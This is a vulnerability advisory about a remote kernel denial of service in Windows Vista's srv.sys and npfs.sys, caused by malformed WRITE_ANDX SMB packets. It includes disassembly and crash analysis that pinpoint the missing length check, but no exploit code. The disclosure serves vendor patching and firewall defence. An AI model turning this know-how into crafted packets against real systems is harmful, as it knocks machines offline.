Some days ago i have discovered a DoS in Windows Vista. Here is the advisory with a detailed description about the vulnerability that will help to Microsoft (they have been already notified about the bug) to correct it as soon as possible, and it will help you if you need to add any rule for your firewall. Vulnerability and Exploit: Javier Vicente Vallejo, http://www.vallejo.cc Vulnerability Analysis: Ruben Santamarta, http://www.reversemode.com Abstract Microsoft Windows is prone to a remote Kernel Denial of Service due to the way srv.sys handles malformed WRITE_ANDX SMB packets. Remote attackers could exploit this issue without having valid credentials on the target machine. In order to achieve a successful exploitation, the attacker needs enough privileges to remotely send WRITE_ANDX packets to an interface that uses a Named Pipe as endpoint. Those interfaces that allow NULL Sessions vary between Windows versions, in Vista the reliability of a preauth attack through the ?\LSARPC? has been successfully demonstrated. Affected versions Theorically verified on: Windows 2000, XP, Server 2003, Vista, Server 2008. Successfully exploited on: Microsoft Windows Vista SP1 with latest security updates. Analysis A condition exists with srv.sys and npfs.sys wherein a specially crafted WRITE_ANDX SMB (http://msdn.microsoft.com/en-us/library/aa302278.aspx) packet may cause a kernel Denial Of Service. 1: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced.

In this case, npfs.sys (named pipe filesystem driver). Npfs.sys handles named pipe requests. Below we can see how srv.sys parses some important fields of the packet: Módulo: srv.sys Vista SP1 PAGE:00048583 movzx ecx, word ptr [ebx+17h] ; Packet. DataOffset PAGE:00048587 mov [ebp+var_50], ecx PAGE:0004858A mov eax, [esi+78h] ; Packet PAGE:0004858D add eax, ecx ; Packet.Data[] PAGE:0004858F mov [ebp+VirtualAddress], eax PAGE:00048592 mov eax, [esi+6Ch] PAGE:00048595 mov eax, [eax+10h] PAGE:00048598 sub eax, ecx ; Real packet len - DataOffset PAGE:0004859A movzx edi, word ptr [ebx+15h] ; Packet.DataLen PAGE:0004859E cmp edi, eax PAGE:000485A0 jb short loc_485A4 PAGE:000485A2 mov edi, eax In this part of the code, the driver should add a check to avoid to continue if the offsets are not in concordance to the real size of the packet. Later on, srv.sys builds (or reuses) an FILESYSTE_CONTROL IRP (0xD), whose IOCTL is 0x119FF8 ( FSCTL_PIPE_INTERNAL_WRITE, METHOD_BUFFERED), then it sends this IRP to the proper driver by using a call to IofCallDriver. This IRP contains the packet, however it does not mean that the IRP keeps coherence, in terms of memory usage, with regards to the internal fields of the packet . It?s worth noting that the memory the IO Manager allocates for a METHOD_BUFFERED buffer is reserved from the NonPaged Pool area (It is a important fact to have in mind for a better understanding of the bug).

Npfs gets an entry from a list that contains certain pending IRPs associated with the connection. Módulo: npfs.sys Vista SP1 PAGE:0001A187 push esi PAGE:0001A188 push [ebp+arg_0] PAGE:0001A18B call _NpGetNextRealDataQueueEntry@8 ; NpGetNextRealDataQueueEntry(x,x) The driver performs a check on the retrieved entry. Due to this check, it is not possible to provoke an overflow within the memcpy call: Módulo: npfs.sys Vista SP1 loc_1A1F6: ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+92 j PAGE:0001A1F6 mov ecx, [ebx] ; Packet.DataLen PAGE:0001A1F8 cmp ecx, edi ; Entry.BufferLen ( 0x400 ) PAGE:0001A1FA jnb short loc_1A1FE PAGE:0001A1FC mov edi, ecx PAGE:0001A1FE PAGE:0001A1FE loc_1A1FE: ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+A0 j PAGE:0001A1FE cmp dword ptr [eax+10h], 1 PAGE:0001A202 jz short loc_1A22D PAGE:0001A204 test edi, edi PAGE:0001A206 jbe short loc_1A22D PAGE:0001A208 push 5246704Eh ; Tag PAGE:0001A20D push edi ; NumberOfBytes PAGE:0001A20E push 0 ; PoolType PAGE:0001A210 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x) In other words, for any amount of bytes that memcpy may copy, the same amount of bytes will be dynamically allocated. Thus, we never force an overflow condition. Finally, below is the piece of code where the bug is triggered: PAGE:0001A23E push edi ; size_t PAGE:0001A23F mov eax, [ebp+arg_8] ; &Packet + Packet.DataOffset PAGE:0001A242 sub eax, [ebx] ; (&Packet + Packet.DataOffset) ? Packet.DataLength PAGE:0001A244 add eax, [ebp+arg_C] ; &Packet + (Current)Packet.DataLength PAGE:0001A247 push eax ; void * PAGE:0001A248 push [ebp+P] ; void * PAGE:0001A24B call _memcpy The parameters of memcpy are calculated to read the data field of the SMB packet. The resulting address will be the ?src? parameter for memcpy, as wen can see it could be pointing to undetermined memory. When the flaw occurs, this pointer holds an address beyond the end of the NonPaged pool?s buffers reserved by srv.sys. If this undetermined memory is not valid, the system will BugCheck , thus triggering a kernel level DoS. Other possibilities like arbitrary kernel memory disclosure has not been researched. The function that handles Non-Paged memory allocations in srv.sys is srv!SrvAllocateNonPagedPool. Every pool associated with srv.sys is tagged by using ?LSxx? tags. Every Windows version is theorically affected by the flaw, however due to the nature of the bug, it might be impossible to reproduce it in certain cases. It has been empirically proven that Microsoft Windows Vista SP1 is more prone to this vulnerability than other versions where the work contexts of srv.sys becomes large from the very beggining.
